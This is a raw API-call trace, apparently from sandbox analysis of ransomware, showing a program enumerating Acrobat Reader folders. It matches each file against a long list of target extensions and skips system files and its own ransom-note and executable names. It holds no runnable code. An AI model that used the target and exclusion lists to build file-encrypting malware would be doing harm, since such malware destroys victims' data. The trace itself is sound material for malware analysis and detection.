	[0171.371] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".dae") returned 4
	[0171.371] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".dat") returned 4
	[0171.371] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".db") returned 3
	[0171.372] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0171.372] lstrlenW (lpString=".dbf") returned 4
	[0171.372] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dbx") returned 4
	[0171.372] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dc3") returned 4
	[0171.372] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dcm") returned 4
	[0171.372] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dcr") returned 4
	[0171.372] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".der") returned 4
	[0171.372] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dib") returned 4
	[0171.372] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dic") returned 4
	[0171.372] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dif") returned 4
	[0171.372] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".divx") returned 5
	[0171.372] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0171.372] lstrlenW (lpString=".djvu") returned 5
	[0171.372] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0171.372] lstrlenW (lpString=".dng") returned 4
	[0171.372] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".doc") returned 4
	[0171.372] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".docm") returned 5
	[0171.372] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0171.372] lstrlenW (lpString=".docx") returned 5
	[0171.372] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0171.372] lstrlenW (lpString=".dot") returned 4
	[0171.372] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0171.372] lstrlenW (lpString=".dotm") returned 5
	[0171.373] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0171.373] lstrlenW (lpString=".dotx") returned 5
	[0171.373] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0171.373] lstrlenW (lpString=".dpx") returned 4
	[0171.373] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".dqy") returned 4
	[0171.373] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".dsn") returned 4
	[0171.373] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".dt") returned 3
	[0171.373] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0171.373] lstrlenW (lpString=".dtd") returned 4
	[0171.373] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".dwg") returned 4
	[0171.373] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".dwt") returned 4
	[0171.373] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".dx") returned 3
	[0171.373] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0171.373] lstrlenW (lpString=".dxf") returned 4
	[0171.373] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".edml") returned 5
	[0171.373] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0171.373] lstrlenW (lpString=".efd") returned 4
	[0171.373] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".elf") returned 4
	[0171.373] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".emf") returned 4
	[0171.373] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0171.373] lstrlenW (lpString=".emz") returned 4
	[0171.374] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".epf") returned 4
	[0171.374] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".eps") returned 4
	[0171.374] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".epsf") returned 5
	[0171.374] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0171.374] lstrlenW (lpString=".epsp") returned 5
	[0171.374] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0171.374] lstrlenW (lpString=".erf") returned 4
	[0171.374] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".exr") returned 4
	[0171.374] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".f4v") returned 4
	[0171.374] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".fido") returned 5
	[0171.374] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0171.374] lstrlenW (lpString=".flm") returned 4
	[0171.374] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".flv") returned 4
	[0171.374] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".frm") returned 4
	[0171.374] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".fxg") returned 4
	[0171.374] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".geo") returned 4
	[0171.374] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".gif") returned 4
	[0171.374] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".grs") returned 4
	[0171.374] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0171.374] lstrlenW (lpString=".gz") returned 3
	[0171.374] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0171.374] lstrlenW (lpString=".h") returned 2
	[0171.374] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0171.375] lstrlenW (lpString=".hdr") returned 4
	[0171.375] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".hpp") returned 4
	[0171.375] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".hta") returned 4
	[0171.375] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".htc") returned 4
	[0171.375] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".htm") returned 4
	[0171.375] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".html") returned 5
	[0171.375] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0171.375] lstrlenW (lpString=".icb") returned 4
	[0171.375] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".ics") returned 4
	[0171.375] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".iff") returned 4
	[0171.375] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".inc") returned 4
	[0171.375] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".indd") returned 5
	[0171.375] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0171.375] lstrlenW (lpString=".ini") returned 4
	[0171.375] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".iqy") returned 4
	[0171.375] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".j2c") returned 4
	[0171.375] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0171.375] lstrlenW (lpString=".j2k") returned 4
	[0171.375] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".java") returned 5
	[0171.376] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0171.376] lstrlenW (lpString=".jp2") returned 4
	[0171.376] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".jpc") returned 4
	[0171.376] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".jpe") returned 4
	[0171.376] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".jpeg") returned 5
	[0171.376] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0171.376] lstrlenW (lpString=".jpf") returned 4
	[0171.376] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".jpg") returned 4
	[0171.376] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".jpx") returned 4
	[0171.376] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString=".js") returned 3
	[0171.376] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0171.376] lstrlenW (lpString="plugin.js") returned 9
	[0171.376] lstrlenW (lpString=".GTF") returned 4
	[0171.376] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0171.376] lstrlenW (lpString="plugin.js") returned 9
	[0171.376] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0171.376] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0171.376] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\plugin.js") returned 126
	[0171.376] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 0
	[0171.377] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0171.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.377] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.377] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0171.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.377] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1
	[0171.377] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 100
	[0171.377] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 1
	[0171.377] lstrlenW (lpString="aicuc") returned 5
	[0171.377] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="aicuc") returned 1
	[0171.378] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0171.378] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc") returned 100
	[0171.378] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\*", lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0171.381] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.381] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0171.381] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 104
	[0171.381] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 1
	[0171.381] lstrlenW (lpString="css") returned 3
	[0171.381] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1
	[0171.381] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0171.381] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css") returned 104
	[0171.381] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a58
	[0171.383] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0171.383] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1
	[0171.383] lstrlenW (lpString="main.css") returned 8
	[0171.383] lstrlenW (lpString=".1cd") returned 4
	[0171.383] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1
	[0171.383] lstrlenW (lpString=".3ds") returned 4
	[0171.383] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1
	[0171.383] lstrlenW (lpString=".3fr") returned 4
	[0171.383] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1
	[0171.383] lstrlenW (lpString=".3g2") returned 4
	[0171.383] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1
	[0171.383] lstrlenW (lpString=".3gp") returned 4
	[0171.383] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1
	[0171.383] lstrlenW (lpString=".7z") returned 3
	[0171.383] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1
	[0171.383] lstrlenW (lpString=".accda") returned 6
	[0171.383] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1
	[0171.383] lstrlenW (lpString=".accdb") returned 6
	[0171.383] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1
	[0171.383] lstrlenW (lpString=".accdc") returned 6
	[0171.383] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1
	[0171.383] lstrlenW (lpString=".accde") returned 6
	[0171.383] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1
	[0171.383] lstrlenW (lpString=".accdt") returned 6
	[0171.383] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1
	[0171.384] lstrlenW (lpString=".accdw") returned 6
	[0171.384] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1
	[0171.384] lstrlenW (lpString=".adb") returned 4
	[0171.384] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".adp") returned 4
	[0171.384] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ai") returned 3
	[0171.384] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1
	[0171.384] lstrlenW (lpString=".ai3") returned 4
	[0171.384] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ai4") returned 4
	[0171.384] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ai5") returned 4
	[0171.384] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ai6") returned 4
	[0171.384] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ai7") returned 4
	[0171.384] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ai8") returned 4
	[0171.384] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".anim") returned 5
	[0171.384] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1
	[0171.384] lstrlenW (lpString=".arw") returned 4
	[0171.384] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".as") returned 3
	[0171.384] lstrcmpiW (lpString1=".as", lpString2="css") returned -1
	[0171.384] lstrlenW (lpString=".asa") returned 4
	[0171.384] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".asc") returned 4
	[0171.384] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1
	[0171.384] lstrlenW (lpString=".ascx") returned 5
	[0171.384] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1
	[0171.385] lstrlenW (lpString=".asm") returned 4
	[0171.385] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".asmx") returned 5
	[0171.385] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1
	[0171.385] lstrlenW (lpString=".asp") returned 4
	[0171.385] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".aspx") returned 5
	[0171.385] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1
	[0171.385] lstrlenW (lpString=".asr") returned 4
	[0171.385] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".asx") returned 4
	[0171.385] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".avi") returned 4
	[0171.385] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".avs") returned 4
	[0171.385] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".backup") returned 7
	[0171.385] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1
	[0171.385] lstrlenW (lpString=".bak") returned 4
	[0171.385] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".bay") returned 4
	[0171.385] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".bd") returned 3
	[0171.385] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1
	[0171.385] lstrlenW (lpString=".bin") returned 4
	[0171.385] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".bmp") returned 4
	[0171.385] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1
	[0171.385] lstrlenW (lpString=".bz2") returned 4
	[0171.385] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".c") returned 2
	[0171.386] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1
	[0171.386] lstrlenW (lpString=".cdr") returned 4
	[0171.386] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".cer") returned 4
	[0171.386] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".cf") returned 3
	[0171.386] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1
	[0171.386] lstrlenW (lpString=".cfc") returned 4
	[0171.386] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".cfm") returned 4
	[0171.386] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".cfml") returned 5
	[0171.386] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1
	[0171.386] lstrlenW (lpString=".cfu") returned 4
	[0171.386] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".chm") returned 4
	[0171.386] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".cin") returned 4
	[0171.386] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".class") returned 6
	[0171.386] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1
	[0171.386] lstrlenW (lpString=".clx") returned 4
	[0171.386] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".config") returned 7
	[0171.386] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1
	[0171.386] lstrlenW (lpString=".cpp") returned 4
	[0171.386] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".cr2") returned 4
	[0171.386] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".crt") returned 4
	[0171.386] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1
	[0171.386] lstrlenW (lpString=".crw") returned 4
	[0171.387] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1
	[0171.387] lstrlenW (lpString=".cs") returned 3
	[0171.387] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1
	[0171.387] lstrlenW (lpString=".css") returned 4
	[0171.387] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0
	[0171.387] lstrlenW (lpString="main.css") returned 8
	[0171.387] lstrlenW (lpString=".GTF") returned 4
	[0171.387] lstrcmpiW (lpString1=".GTF", lpString2=".css") returned 1
	[0171.387] lstrlenW (lpString="main.css") returned 8
	[0171.387] lstrcmpiW (lpString1="boot.ini", lpString2="main.css") returned -1
	[0171.387] lstrcmpiW (lpString1="bootfont.bin", lpString2="main.css") returned -1
	[0171.387] lstrcmpiW (lpString1="ntldr", lpString2="main.css") returned 1
	[0171.387] lstrcmpiW (lpString1="ntdetect.com", lpString2="main.css") returned 1
	[0171.387] lstrcmpiW (lpString1="io.sys", lpString2="main.css") returned -1
	[0171.387] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main.css") returned -1
	[0171.387] lstrcmpiW (lpString1="Info.hta", lpString2="main.css") returned -1
	[0171.387] lstrcmpiW (lpString1="fvppjh.exe", lpString2="main.css") returned -1
	[0171.387] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\main.css") returned 113
	[0171.387] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 1
	[0171.387] lstrlenW (lpString="plugin-selectors.css") returned 20
	[0171.387] lstrlenW (lpString=".1cd") returned 4
	[0171.387] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1
	[0171.387] lstrlenW (lpString=".3ds") returned 4
	[0171.387] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1
	[0171.387] lstrlenW (lpString=".3fr") returned 4
	[0171.387] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1
	[0171.387] lstrlenW (lpString=".3g2") returned 4
	[0171.387] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1
	[0171.387] lstrlenW (lpString=".3gp") returned 4
